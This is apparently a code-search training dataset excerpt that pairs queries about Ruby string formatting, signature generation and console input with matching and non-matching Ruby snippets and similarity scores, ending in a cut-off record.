"def to_s\n return super + \": '#{token.lexeme}'\"\n end",
"def to_s\n TEXT_SYMBOLS[self.entry_type] + \n \"] \" +\n body\n end",
"def to_s\n b = @b\n b = \"c\" if b == \"\"\n \"#{@a}#{@op}#{maybe_quote(b)}\"\n end",
"def to_s\n [\n \"def edit\",\n Frontier::RubyRenderer.new(action_contents.join(\"\\n\")).render(1),\n \"end\"\n ].join(\"\\n\")\n end",
"def to_s\n \"fix #{parameter}\"\n end",
"def opcode(op,args) \"#{op} #{args.join ','}\" end",
"def opcode(op,args) \"#{op} #{args.join ','}\" end",
"def opcode(op,args) \"#{op} #{args.join ','}\" end",
"def opcode(op,args) \"#{op} #{args.join ','}\" end",
"def format(fmt)\n prefix = ''\n prefix = \"#{@comparison_operator} \" if has_comparison_operator?\n\n \"#{prefix}#{super fmt}\"\n end",
"def to_s(tab)\r\n\t\ts = (\" \"*tab) + \"Block\\n\"\r\n\t\tif @l_declaraciones != nil\r\n\t\t\ts << (\" \"*(tab+1))+\"Declare\\n\" + @l_declaraciones.to_s(tab+1) + @l_instrucciones.to_s(tab+2)\r\n\r\n\t\telsif\r\n\t\t\ts << @l_instrucciones.to_s(tab+1)\r\n\t\tend\r\n\r\n\t\treturn s\r\n\tend",
"def to_s\n operator_string + \" \" + @expression.to_s\n end",
"def to_s()\n result = \"@#{@text}\"\n if !@flags.empty?\n result << \".\"\n end\n @flags.each do |f|\n char = Token::FLAG_CHARACTER[f]\n if char == nil\n result << \"?\"\n else\n result << char\n end\n end\n result\n end",
"def to_s\n '(' << self.begin.to_s << '..' << self.end.to_s << ')'\n end",
"def to_s\n \"in segment #{@whitelist}\"\n end",
"def format(format, *arguments); end",
"def operation_to_message(op)\n case op\n when '1'\n \"Adding\"\n when '2'\n \"Subtracting\"\n when '3'\n \"Multiplying\"\n when '4'\n \"Dividing\"\n end\nend",
"def format_symbol\n\t\t:format\n\tend",
"def to_s\n coords1 = get_coords(length1, start1)\n coords2 = get_coords(length2, start2)\n\n text = [\"@@ -\", coords1, \" +\", coords2, \" @@\\n\"].join\n\n # Encode the body of the patch with %xx notation.\n text += diffs.map { |op, data|\n [OPERATOR_TO_CHAR[op], PATCH_PARSER.escape(data, ENCODE_REGEX), \"\\n\"].join\n }.join.gsub(\"%20\", \" \")\n\n text\n end",
"def to_s\n \"##{target}\"\n end",
"def pan_string()\n pan_body().join(',') + \".\"\n end",
"def inspect\n return sprintf(\n \"#<%s:%#0x URI:%s>\",\n self.class.to_s, self.object_id, self.uri.to_s\n )\n end",
"def printable_commit_data(task)\n str = <<eos\n\nHere's the log of the last commit for this task:\n\ncommit: %s\ndate: %s\ncommitted by: You\n\n %s\neos\n last_commit = task[:commits].last\n sprintf( str, last_commit[:sha], last_commit[:date], last_commit[:message] )\n end",
"def to_s\n text = \"#{keyword} #{self.text}\"\n text << \"\\n\" + block.to_s.split(\"\\n\").collect { |line| \" #{line}\" }.join(\"\\n\") if block\n\n text\n end",
"def context_str\n a = @context.to_a.map{ |x| x.join(':') }.join(\", \")\n a.empty? ? \"\" : \"{#{a}} \"\n end",
"def to_s\n \"[#{@type}]#{@content}\"\n end",
"def operation_to_message(op)\n case op\n when \"1\"\n \"Adding\"\n when \"2\"\n \"Subtracting\"\n when \"3\"\n \"Multiplying\"\n when \"4\"\n \"Dividing\"\n end\nend",
"def operation_as_string\n @operation == :all && 'all_' || ''\n end",
"def make_tostring_formatstring(size, spec, eamode, eamode_ext,\n indent_level)\n result = \"\"\n result += \" \" * indent_level\n # cut off special format name extensions in instructions such as add etc.\n # we also do not print lengths that are specified as ':none'\n mnemonic = spec.mnemonic.to_s.gsub(/_.*/, '')\n if overrides_size_suffix?(spec.mnemonic)\n format = \"#{mnemonic}#{size_suffix_override(spec.mnemonic, size)}\"\n elsif spec.size == :none then\n format = \"#{mnemonic}\"\n else\n format = \"#{mnemonic}.#{size}\"\n end\n result += \" String str = String.format(\\\"#{format} \"\n result += format_str_for_arg(spec.mnemonic, spec.out_spec[0], eamode,\n eamode_ext)\n if spec.out_spec.length > 1\n result += \", \"\n result += format_str_for_arg(spec.mnemonic, spec.out_spec[1], eamode,\n eamode_ext)\n end\n # the argument list behind the format string\n result += \"\\\"\"\n result += make_tostring_add_val(spec.out_spec[0], eamode, eamode_ext, 1)\n if spec.out_spec.length > 1\n result += make_tostring_add_val(spec.out_spec[1], eamode, eamode_ext, 2)\n end\n result += \");\\n\"\n result\nend",
"def format=(_arg0); end",
"def format=(_arg0); end",
"def format=(_arg0); end",
"def format=(_arg0); end",
"def format_message(msg)\n \"#{@method_name} #{msg}\"\n end",
"def b_format_form\n \"#{id} - #{cert_ope}\"\n end",
"def to_string\n str = trace_id\n str += \"/#{span_id}\" if span_id\n unless sampled?.nil?\n options = 0\n options |= 1 if sampled?\n options |= 2 if capture_stack?\n str += \";o=#{options}\"\n end\n str\n end",
"def operation_to_message(op)\n case op\n when '1'\n 'Adding'\n when '2'\n 'Subtracting'\n when '3'\n 'Multiplying'\n when '4'\n 'Dividing'\n end\nend",
"def operation_to_message(op)\n case op\n when '1'\n 'Adding'\n when '2'\n 'Subtracting'\n when '3'\n 'Multiplying'\n when '4'\n 'Dividing'\n end\nend",
"def operation_to_message(op)\n word = case op\n when '1'\n 'Adding'\n when '2'\n 'Subtracting'\n when '3'\n 'Multiplying'\n when '4'\n 'Dividing'\n end\n word\nend",
"def to_s\n if @capture_on\n \"%\" + @thing.to_s\n else\n @thing.to_s\n end\n end",
"def to_s(format = nil)\n return '' if to_str.empty?\n return to_str if to_str.length == 5\n \"#{to_str[0..4]}-#{to_str[5..8]}\"\n end"
] |
[
"0.7952485",
"0.6508253",
"0.64462006",
"0.62495637",
"0.6096381",
"0.59725726",
"0.5758454",
"0.5752238",
"0.5742718",
"0.5738212",
"0.5724992",
"0.5721963",
"0.57028353",
"0.57016456",
"0.5695638",
"0.56856865",
"0.56808215",
"0.5670218",
"0.5643368",
"0.5639466",
"0.5611879",
"0.5601586",
"0.5587177",
"0.55804396",
"0.55747545",
"0.5557676",
"0.5550992",
"0.5532314",
"0.552557",
"0.5518915",
"0.55158657",
"0.5508078",
"0.5508078",
"0.5508078",
"0.5508078",
"0.5508078",
"0.5508078",
"0.5508078",
"0.5508078",
"0.54963654",
"0.5479514",
"0.547233",
"0.54682404",
"0.5449274",
"0.5448851",
"0.5448825",
"0.54483664",
"0.5443244",
"0.54393035",
"0.5433047",
"0.5432007",
"0.54311085",
"0.5419092",
"0.54182357",
"0.5399395",
"0.539897",
"0.53977567",
"0.5397318",
"0.53966486",
"0.53847015",
"0.53793555",
"0.53707415",
"0.5369677",
"0.5351894",
"0.5348699",
"0.5348699",
"0.5348699",
"0.5348699",
"0.5336492",
"0.53349376",
"0.53333765",
"0.5329525",
"0.532868",
"0.5324474",
"0.5321591",
"0.5316644",
"0.5314705",
"0.53142834",
"0.53041077",
"0.53022736",
"0.5298368",
"0.52967584",
"0.52949315",
"0.5283961",
"0.52782935",
"0.5271953",
"0.5271772",
"0.52597946",
"0.5259686",
"0.5259686",
"0.5259686",
"0.5259686",
"0.52583605",
"0.52579105",
"0.5257383",
"0.52565885",
"0.52565885",
"0.52542627",
"0.5251503",
"0.52430254"
] |
0.72659457
|
1
|
Format fragment operation signature as string
|
def format_fragment_operation_signature(fragment_operator)
[
"fragment #{fragment_operator.__name}",
"on #{fragment_operator.__type}",
format_directives(fragment_operator.__directives, false),
].compact.join(' ')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def signature_base_string\n \"#{method.to_s.upcase}&#{full_uri}&#{normalise_signature_params}\"\n end",
"def signature\n # FIXME merb keeps mangling this by replacing \"+\" with \"\\s\" \n oauth_merged_params[:oauth_signature]\n end",
"def string_to_sign\n if content_type.nil?\n \"#{method.upcase}\\n#{host.downcase}\\n#{uri}#{canonicalized_params}\"\n else\n \"#{method.upcase}\\n#{body_md5}\\n#{content_type}\\n#{host.downcase}\\n#{uri}#{canonicalized_params}\"\n end\n end",
"def signature_string(signature)\n param_types = signature.type.param_types\n param_names = signature.parameter_names\n\n from, to = param_types.size_range\n if from == 0 && to == 0\n # No parameters function\n return ''\n end\n\n required_count = from\n types =\n case param_types\n when PTupleType\n param_types.types\n when PArrayType\n [param_types.element_type]\n end\n\n # join type with names (types are always present, names are optional)\n # separate entries with comma\n #\n param_names = Array.new(types.size, '') if param_names.empty?\n limit = param_names.size\n result = param_names.each_with_index.map do |name, index|\n type = types[index] || types[-1]\n indicator = ''\n if to == Float::INFINITY && index == limit - 1\n # Last is a repeated_param.\n indicator = from == param_names.size ? '+' : '*'\n elsif optional(index, required_count)\n indicator = '?'\n type = type.optional_type if type.is_a?(POptionalType)\n end\n \"#{type} #{name}#{indicator}\"\n end.join(', ')\n\n # If there is a block, include it\n case signature.type.block_type\n when POptionalType\n result << ', ' unless result == ''\n result << \"#{signature.type.block_type.optional_type} #{signature.block_name}?\"\n when PCallableType\n result << ', ' unless result == ''\n result << \"#{signature.type.block_type} #{signature.block_name}\"\n when NilClass\n # nothing\n end\n result\n end",
"def format_fragment_operation(fragment_operation, level)\n result = []\n\n result << indent(level) + format_fragment_operation_signature(fragment_operation)\n result << \"#{indent(level)}{\"\n result += fragment_operation.__nodes.map { |node| format_node(node, level + 1) }\n result << \"#{indent(level)}}\"\n\n result.join(\"\\n\")\n end",
"def display_signature_params\n params = method_signature_params\n params << 'arguments = {}'\n \"(#{params.join(', ')})\"\n end",
"def signature\n @signature || ''\n end",
"def getSignature(id)\n if not @procedures.has_key?(id)\n return \"#{id} doesn't exist\"\n else\n info = @procedures[id]\n msg = \"The signature is: #{info[:return_type]} #{info[:id]}(\"\n temp = []\n info[:args].each { |arg|\n str = \"#{arg[:type]}\"\n if arg[:ref]\n if arg[:array]\n str = str + \" [\" + arg[:size] + \"]\"\n else\n str = str + \" &\"\n end\n end\n temp.push(str)\n }\n msg = msg + temp.join(\",\") + \")\"\n return msg\n end\n end",
"def create_signature(dev_id, api_method, auth_key, formatted_timestamp)\n # ts = Time.at(timestamp).strftime(\"%Y%m%d%H%M%S\")\n raw_sig = \"#{dev_id}#{api_method}#{auth_key}#{formatted_timestamp}\"\n Digest::MD5.hexdigest(raw_sig)\n end",
"def to_signature(parameters)\n parameters.map{|k,v| \"#{v}\"}.join('')\n end",
"def string_to_sign\n [method, url.host, url.path, url.query].join \"\\n\"\n end",
"def build_signature\n sig = case signature_method\n when \"HMAC-SHA1\"\n Base64.encode64(HMAC::SHA1.digest(signature_secret, signature_base_string)).chomp.gsub(/\\n/,'')\n when \"HMAC-MD5\"\n Base64.encode64(HMAC::MD5.digest(signature_secret, signature_base_string)).chomp.gsub(/\\n/,'')\n else\n false\n end\n Merb::Parse.escape(sig)\n end",
"def string_to_sign\n [\n http_method,\n headers.values_at('content-md5', 'content-type').join(\"\\n\"),\n signing_string_date,\n canonicalized_headers,\n canonicalized_resource,\n ].flatten.compact.join(\"\\n\")\n end",
"def uri_with_signature\n separator = if request_parser.query_params? then '&' else '?' end\n encoded_signature = signature.extend(UriSigner::Helpers::String).escaped\n \"%s%s_signature=%s\" % [self.uri, separator, encoded_signature]\n end",
"def generate_signature_base_string(method, url, params, get_post_params = {})\n normalized_url = normalize_url(url)\n normalized_params = normalize_request_param(params, get_post_params)\n return method + \"&\" + normalized_url.urlencode + \"&\" + normalized_params.urlencode\n end",
"def signature_base_string\n [\n @http_method.dup,\n percent_encode(base_url),\n percent_encode(request_params),\n percent_encode(nonce.to_s),\n percent_encode(@business_guid)\n ].join('&')\n end",
"def sign(cmd)\n \t\t\t\tiv = rand(0xffffffff).to_i.to_s(16).upcase.rjust(8,\"0\")\n \t\t\t\tdigest = Digest::MD5.hexdigest(cmd+iv).upcase\n \t\t\t\tsb = [@signature_block + digest].pack(\"h*\")\n \t\t\t\tsig = @signingkey_priv.private_encrypt(sb).unpack(\"h*\")[0].upcase\n \t\t\t\t# i haven't a clue what those numbers are on the front, 10|3|22\n \t\t\t\t\"10|3|22|#{cmd}|#{sig}|#{iv}\"\n \t\t\tend",
"def signature\n @signature ||= Base64.encode64(digest).gsub(\"\\n\", '')\n end",
"def header_signature=(_arg0); end",
"def to_s\n signed = (signed_at || Time.now).to_i.to_s\n\texpires = expires_at.to_i.to_s\n\tsignature = \"#{public_key}#{expires}#{signed}#{action}\"\n\ttoken = OpenSSL::HMAC.hexdigest DIGEST, secret, signature\n\tencoded_token = Base64.encode64(token)\n\tencoded_token.gsub! /\\n/, ''\n\tparams = [ encoded_token, public_key, expires, signed ].join SEPARATOR\n\tBase64.encode64(params).gsub(/\\n/, '')\n end",
"def signature\n Base64.encode64(digest_with_key(string_to_sign)).strip\n end",
"def text_representation\n self.signed_request[:signature].to_s\n end",
"def text_representation\n self.signed_request[:signature].to_s\n end",
"def signature\n EPDQ::ShaCalculator.new(full_parameters, EPDQ.sha_in, EPDQ.sha_type).signature\n end",
"def build_signature_buffer(result); end",
"def build_signature_buffer(result); end",
"def method_signature\n case @opcode.arguments.size\n when 0\n @file.puts \" def #{method_name}\"\n when 1\n @file.puts \" def #{method_name}(arg1)\"\n when 2\n @file.puts \" def #{method_name}(arg1, arg2)\"\n end\n end",
"def signature\n # Remove 'sha_sign' key from request params and concatenate all\n # key value pairs\n params = payload.to_h\n .reject { |key, value| key == :sha_sign }\n .reject { |key, value| value == '' || value == false }.sort\n .map { | key, value| \"#{key}=#{value}#{passphrase}\" }.join\n\n # Calculate SHA512 and upcase all letters, since Digistore will\n # also return upcased letters in the signature.\n Digest::SHA512.hexdigest(params).upcase\n end",
"def signable_string(method, uri, headers)\n [\n method.to_s.upcase,\n headers.fetch('Content-MD5', ''),\n headers.fetch('Content-Type', ''),\n headers.fetch('Date') { raise IndexError, 'Headers must include Date' },\n canonicalized_headers(headers),\n canonicalized_resource(uri)\n ].join(\"\\n\")\n end",
"def update_signature!; end",
"def update_signature!; end",
"def method_signature\n @parameters.map { |info| info.name == 'body' ? \"body = {}\" : info.name }.join(', ')\n end",
"def formulate_auth_header(signature)\n \"Apex_l2_Eg realm=\\\"#{@realm}\\\",apex_l2_eg_app_id=\\\"#{@app_id}\\\",\"\\\n \"apex_l2_eg_nonce=\\\"#{@nonce}\\\",apex_l2_eg_signature_method=\\\"SHA256withRSA\\\",\"\\\n \"apex_l2_eg_signature=\\\"#{signature}\\\",apex_l2_eg_timestamp=\\\"#{@timestamp}\\\",apex_l2_eg_version=\\\"1.0\\\"\"\n end",
"def compact_signature(hash)\n raise BTCError, \"Not implemented\"\n end",
"def string_to_sign\n [\n SIGNV4ALGO,\n date,\n credential_scope,\n Digestor.hexdigest(canonical_request)\n ].join(\"\\n\")\n end",
"def fragment(string); end",
"def header_signature; end",
"def signature(args)\n str = args.to_s\n if str.length <= SHA1_THRESHHOLD\n args\n else\n Digest::SHA1.hexdigest args.to_s\n end\n end",
"def signature\n k_date = Digestor.hmac(\"AWS4\" + secret_key, date[0, 8])\n k_region = Digestor.hmac(k_date, region)\n k_service = Digestor.hmac(k_region, service)\n k_credentials = Digestor.hmac(k_service, \"aws4_request\")\n Digestor.hexhmac(k_credentials, string_to_sign)\n end",
"def stored_signature; end",
"def signature(params)\n string_to_sign =\n<<-DATA\n#{params[:method].to_s.upcase}\n#{params[:headers]['Canonical-URI']}\n#{params[:headers]['Canonical-QueryString']}\n#{params[:headers]['Canonical-Headers']}\n#{params[:headers]['Signed-Headers']}\n#{params[:headers]['Hex-Encode-Hash-Payload']}\nDATA\n\n amz_headers, canonical_amz_headers = {}, ''\n for key, value in params[:headers]\n if key[0..5] == 'x-amz-'\n amz_headers[key] = value\n end\n end\n amz_headers = amz_headers.sort {|x, y| x[0] <=> y[0]}\n for key, value in amz_headers\n canonical_amz_headers << \"#{key}:#{value}\\n\"\n end\n string_to_sign << canonical_amz_headers\n\n subdomain = params[:host].split(\".#{@host}\").first\n unless subdomain =~ /^(?:[a-z]|\\d(?!\\d{0,2}(?:\\.\\d{1,3}){3}$))(?:[a-z0-9]|\\.(?![\\.\\-])|\\-(?![\\.])){1,61}[a-z0-9]$/\n # TODO: err..... not sure if this is needed\n Fog::Logger.warning(\"fog: the specified glacier vault name(#{subdomain}) is not a valid dns name, which will negatively impact performance. For details see: http://docs.amazonwebservices.com/AmazonS3/latest/dev/BucketRestrictions.html\")\n params[:host] = params[:host].split(\"#{subdomain}.\")[-1]\n if params[:path]\n params[:path] = \"#{subdomain}/#{params[:path]}\"\n else\n params[:path] = subdomain\n end\n subdomain = nil\n end\n\n canonical_resource = @path.dup\n unless subdomain.nil? || subdomain == @host\n canonical_resource << \"#{Fog::AWS.escape(subdomain).downcase}/\"\n end\n canonical_resource << params[:path].to_s\n canonical_resource << '?'\n# TODO: all these keys need to change to reflect glacier\n for key in (params[:query] || {}).keys.sort\n if %w{\n acl\n lifecycle\n location\n logging\n notification\n partNumber\n policy\n requestPayment\n response-cache-control\n response-content-disposition\n response-content-encoding\n response-content-language\n response-content-type\n response-expires\n torrent\n uploadId\n uploads\n versionId\n versioning\n versions\n website\n }.include?(key)\n canonical_resource << \"#{key}#{\"=#{params[:query][key]}\" unless params[:query][key].nil?}&\"\n end\n end\n canonical_resource.chop!\n string_to_sign << canonical_resource\n\n signed_string = @hmac.sign(string_to_sign)\n Base64.encode64(signed_string).chomp!\n end",
"def signature_for(string)\n format('sha1=%s'.freeze, generate_hmac(string))\n end",
"def api_signature\n ts = timestamp\n [\n Rackspace::Email::Api.configuration.user_key,\n ts,\n hash(ts)\n ].join(':')\n end",
"def signature_for(string)\n format('sha1=%s'.freeze, generate_hmac(string))\n end",
"def sign(params)\n Digest::MD5::hexdigest(wrap_with_secret sorted_option_string(params)).upcase\n end",
"def gem_signature(gem_full_name); end",
"def query_string_sig2\n @query_elements['Timestamp']= Time::at(Time.now).utc.strftime(\"%Y-%m-%dT%H:%M:%S.000Z\") unless @query_elements['Timestamp']\n @query_elements['AWSAccessKeyId']= @credentials.accessID\n signature_method= @query_elements['SignatureMethod']\n if @query_elements['_omit']\n @query_elements['_omit'].each do |k|\n @query_elements.delete k\n end\n @query_elements.delete '_omit'\n end\n values = @query_elements.keys.sort.collect {|key| [url_encode(key), url_encode(@query_elements[key])].join(\"=\") }\n @canonical_querystring= values.join(\"&\")\n @string_to_sign = <<\"____\".rstrip\nGET\n#{URI::parse(endpoint).host}\n#{URI::parse(endpoint).path}\n#{@canonical_querystring}\n____\n signature= @credentials.sign(signature_method,@string_to_sign)\n @query_elements['Signature'] = signature\n @query_elements.collect { |key, value| [url_encode(key), url_encode(value)].join(\"=\") }.join('&') # order doesn't matter for the actual request\n end",
"def signature\n {method: @method.upcase, path: @path, body: @body}\n end",
"def formatted_signature(signature)\n n = (verify_key_length.to_f / BYTE_LENGTH).ceil\n\n if signature.size == n * 2\n r = signature[0..(n - 1)]\n s = signature[n..-1]\n\n OpenSSL::ASN1::Sequence.new([r, s].map { |int| OpenSSL::ASN1::Integer.new(OpenSSL::BN.new(int, 2)) }).to_der\n else\n signature\n end\n end",
"def string_to_sign\n \"GET\\n#{ENDPOINT}\\n#{REQUEST_URI}\\n#{canonical_query_string}\"\n end",
"def display_signature(frame)\n return nil unless frame\n frame.iseq.object_id\nend",
"def fps_sign string\n digest = OpenSSL::Digest::Digest.new('sha1')\n hmac = OpenSSL::HMAC.digest(digest, SECRET_ACCESS_KEY, string)\n Base64.encode64(hmac).chomp\n end",
"def signature_helper(params, secret) # :nodoc:\n args = []\n params.each{|k,v| args << \"#{k}=#{v}\"}\n sortedArray = args.sort\n requestStr = sortedArray.join(\"\")\n return Digest::MD5.hexdigest(\"#{requestStr}#{secret}\")\n end",
"def encode_signature(algo, signature)\n encode_string(algo) + encode_string(signature)\n end",
"def to_s\n str = \"%04d: %-27s\" % [@ip, opcode]\n str << @args.map{|a| a.inspect}.join(', ')\n if @comment\n str << \" # #{@comment}\"\n end\n\n return str\n end",
"def active_signature(pin)\n \"#{pin.path}|#{links.map(&:word).join('.')}\"\n end",
"def string_to_sign\n [\n \"AWS4-HMAC-SHA256\",\n request_timestamp,\n credential_scope,\n digest.hexdigest(canonical)\n ].join(\"\\n\")\n end",
"def signed_string\n \"service=#{params['service']}&v=#{params['v']}&sec_id=#{params['sec_id']}¬ify_data=#{params['notify_data']}#{key}\"\n end",
"def gem_signature(gem_full_name)\n Digest::SHA256.new(@gems[gem_full_name].to_yaml).to_s\n end",
"def signature\n digest = \"SHA256\"\n OpenSSL::HMAC.hexdigest(digest, signing_key, string_to_sign)\n end",
"def swf_generated_signature(policy)\n return signature = Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n swf_secret_access_key, policy)).gsub(\"\\n\",\"\")\n end",
"def generate_preview_signature\n Sha256.new({string: generate_preview_url, salt: GlobalConstant::Base.cms[:sha256_salt]}).perform\n end",
"def calculate_signature\n normalized_string = [\n request_header.timestamp,\n request_header.nonce,\n request_header.algorithm,\n method.upcase,\n host_with_port,\n request_uri\n ].join(',')\n\n ActiveSupport::Base64.encode64s(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha256'), secret, normalized_string))\n end",
"def signature\n sha256 = OpenSSL::Digest::SHA256.new\n hash = OpenSSL::HMAC.digest sha256, secret, string_to_sign\n\n Base64.encode64(hash).chomp\n end",
"def signature\n return '' if has_tag? :overload\n\n tags = self.tags(:param)\n args = @parameters.map do |parameter|\n name, default = parameter\n tag = tags.find { |t| t.name == name } if tags\n type = tag&.types ? \"#{tag.type} \" : 'Any '\n prefix = (name[0]).to_s if name.start_with?('*', '&')\n name = name[1..] if prefix\n default = \" = #{default}\" if default\n \"#{type}#{prefix}$#{name}#{default}\"\n end.join(', ')\n \"#{@name}(#{args})\"\n end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def create_string_to_sign(scope, context)\n scope_hash = OpenSSL::Digest.new(@hash_algo, scope)\n context_hash = OpenSSL::Digest.new(@hash_algo, context)\n sprintf \"SIGNER-HMAC-%s\\n%s\\n%s\\n%s\\n%s\", @hash_algo.upcase, @self_key, @client_id, scope_hash, context_hash\n end",
"def sign_v4(method, endpoint, headers, body = nil, debug = false)\n @method = method.upcase\n @endpoint = endpoint\n @headers = headers\n @uri = URI(endpoint)\n\n puts \"EP : \"+@endpoint\n puts \"Headers : \"+@headers.to_s\n\n headers[\"X-Amz-Date\"] = date\n headers[\"X-Amz-Content-Sha256\"] = Digestor.hexdigest(body || \"\")\n\n\n headers[\"Host\"] = get_host(@uri)\n puts \"--->\" + get_host(@uri)\n\n\n dump if debug\n signed_headers = headers.dup\n\n signed_headers['Authorization'] = get_authorization(headers)\n signed_headers\n end",
"def api_sig(params)\n sigstr = @shared_secret\n params.keys.sort { |x, y| x.to_s <=> y.to_s }.each do |k|\n sigstr += k.to_s\n sigstr += params[k].to_s\n end\n Digest::MD5.hexdigest(sigstr)\n end",
"def qformat\n #\"#{owner_name}#{access}#{@method_name} [#{visibility}]\" # Before multi-obj support.\n \"#{obj_module_name}#{access}#{@method_name} [#{visibility}]\"\n end",
"def signature(params)\n raise NotImplementedError\n end",
"def signature\n Digest::SHA256.hexdigest(@hash.to_json)\n end",
"def create_signature(params, secret) # :nodoc:\n query = build_nested_query(params)\n\n require 'openssl'\n digest = OpenSSL::Digest::Digest.new('sha1')\n signature = OpenSSL::HMAC.hexdigest(digest, secret, query)\n\n # require 'pp'\n # print '----------------------------------'\n # pp params\n # pp query\n # pp secret\n # pp signature\n\n return signature\n end",
"def inspect\n\t\t\"<%s:0x%08x: %s [%s/%s]>\" % [\n\t\t\tself.class.name,\n\t\t\tself.object_id * 2,\n\t\t\t@signature.name,\n\t\t\t@signature.version,\n\t\t\t@signature.maintainer\n\t\t]\n\tend",
"def param_signature(params) \n return generate_signature(params, get_secret(params));\n end",
"def s3_upload_signature\n Base64.encode64(OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n @current_shard.amazon_setting.secret_access_key,\n s3_upload_policy_document)\n ).gsub(/\\n|\\r/, \"\")\n end",
"def signature_key=(_arg0); end",
"def signature_method\n oauth_merged_params[:oauth_signature_method] || \"HMAC-SHA1\"\n end",
"def upload_signature\n @upload_signature ||=\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::SHA1.new,\n options[:secret_access_key],\n self.policy_document\n )\n ).gsub(/\\n/, '')\n end",
"def signature\n hook_config = @config.for_hook(@hook_name, @context.hook_class_name).\n dup.\n tap { |config| IGNORED_CONFIG_KEYS.each { |k| config.delete(k) } }\n\n Digest::SHA256.hexdigest(hook_contents + hook_config.to_s)\n end",
"def index_signature\n Digest::SHA256.new(@gems.keys.sort.join(',')).to_s\n end",
"def notification_signature(ns_merchant_id, \n ns_acquirer_bin,\n ns_terminal_id, \n ns_num_operacion, \n ns_importe, \n ns_tipo_moneda,\n ns_exponente,\n ns_referencia)\n\n charge = Charge.get(ns_num_operacion.to_i)\n configuration = configuration(charge.nil? ? nil : charge.sales_channel_code)\n\n signature = \"\"\n signature << configuration[:clave_encriptacion]\n signature << ns_merchant_id\n signature << ns_acquirer_bin\n signature << ns_terminal_id\n signature << ns_num_operacion\n signature << ns_importe\n signature << ns_tipo_moneda\n signature << ns_exponente\n signature << ns_referencia\n\n p \"calculating notification signature: #{signature}\"\n\n Digest::SHA256.hexdigest signature\n\n end",
"def verifySignature _args\n \"verifySignature _args;\" \n end",
"def signature\n Base64.encode64(encryption_key.sign(OpenSSL::Digest::SHA256.new, id_string))\n end",
"def signature=(_arg0); end",
"def signature=(_arg0); end",
"def signature=(_arg0); end",
"def signature=(_arg0); end",
"def sign(text)\n signature = Digest::MD5.hexdigest([text, 'Hello from Events 2'].join)[0...SIGNATURE_LENGTH]\n [text,signature].join\n end",
"def ssh_signature_type; end",
"def ssh_signature_type; end"
] |
[
"0.70344776",
"0.66106296",
"0.6537091",
"0.65270776",
"0.6473858",
"0.6378303",
"0.62362593",
"0.6228909",
"0.6199462",
"0.6150939",
"0.6069784",
"0.60474354",
"0.6043087",
"0.60250705",
"0.60044414",
"0.5975935",
"0.596834",
"0.5963453",
"0.59380937",
"0.5929398",
"0.5929065",
"0.59261554",
"0.59261554",
"0.5925792",
"0.5906246",
"0.5906246",
"0.58956593",
"0.58888566",
"0.58866024",
"0.58452225",
"0.58452225",
"0.58374053",
"0.58307993",
"0.5822851",
"0.5822584",
"0.58126837",
"0.5808347",
"0.5778343",
"0.57612014",
"0.57590777",
"0.57568514",
"0.57558954",
"0.5749785",
"0.5744328",
"0.57297516",
"0.5728137",
"0.5718901",
"0.57121086",
"0.5700111",
"0.569307",
"0.56677717",
"0.5667164",
"0.5664861",
"0.56582105",
"0.5643548",
"0.5634498",
"0.5619105",
"0.56117976",
"0.5609686",
"0.56060493",
"0.55913717",
"0.55851656",
"0.5577465",
"0.55667675",
"0.55627835",
"0.55457103",
"0.55457103",
"0.55457103",
"0.55457103",
"0.55457103",
"0.55457103",
"0.55457103",
"0.55457103",
"0.55457103",
"0.55457103",
"0.552963",
"0.5525739",
"0.552028",
"0.5515234",
"0.55124396",
"0.55075055",
"0.55039084",
"0.5487602",
"0.5475369",
"0.5474787",
"0.54730433",
"0.5465393",
"0.54627305",
"0.5450131",
"0.5449202",
"0.5447053",
"0.5433341",
"0.5426989",
"0.5418798",
"0.5418798",
"0.5418798",
"0.5418798",
"0.5415378",
"0.5398927",
"0.5398927"
] |
0.78802097
|
0
|
def ask_for_name puts "What's the name of the recipe?" gets.chomp end def ask_for_description puts "What's the description of the recipe?" gets.chomp end
|
def ask_for_(thing)
puts "What's the #{thing}?"
gets.chomp
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ask_name\n listing\n puts \"please input your recipe name\"\n recipe_name = gets.chomp\n end",
"def ask_user_for(something)\n puts \"What is the recipe #{something} ?\"\n return gets.chomp\n end",
"def ask_for_name\n puts \"what s the name of the task you want to create?\"\n name = gets.chomp\n end",
"def ask_for_ingredient\n puts \"What ingredient do you want to search for?\"\n print \"> \"\n gets.chomp\n end",
"def ask_name\n puts \"What's your name?\"\n gets.chomp\nend",
"def ask_user_for(something)\n # Print question asking for the name, price, or something else\n puts \"What is the #{something.capitalize}?\"\n print \"> \"\n # return the user´s input\n return gets.chomp\n end",
"def ask_meal_name \n prompt = TTY::Prompt.new\n what_is_the_name\n meal_name = prompt.ask(\"What is the name of your meal?\")\n your_meal(meal_name)\n return meal_name\nend",
"def take_info\n puts 'Please eneter title of your event:'\n print 'Title:'\n @title = gets.chomp\n puts 'Please enter description of your event:'\n print 'Description:'\n @description = gets.chomp\nend",
"def ask_questions\n print \"What is your name? \"\n self.name = gets.strip.chomp\n print \"What is your email? \"\n self.email = gets.strip.chomp\n end",
"def name\n\tputs \"What is your client's full name?\"\n\tname = gets.chomp\nend",
"def ask_name()\n puts \"What is your name?\"\n name = gets.chomp\n puts \"Hello #{name}!\"\nend",
"def req_name\n\t\tputs \"What is your name?\"\n\t\t@name = gets.chomp\n\tend",
"def asks_question(question)\n puts question\n gets.chomp\nend",
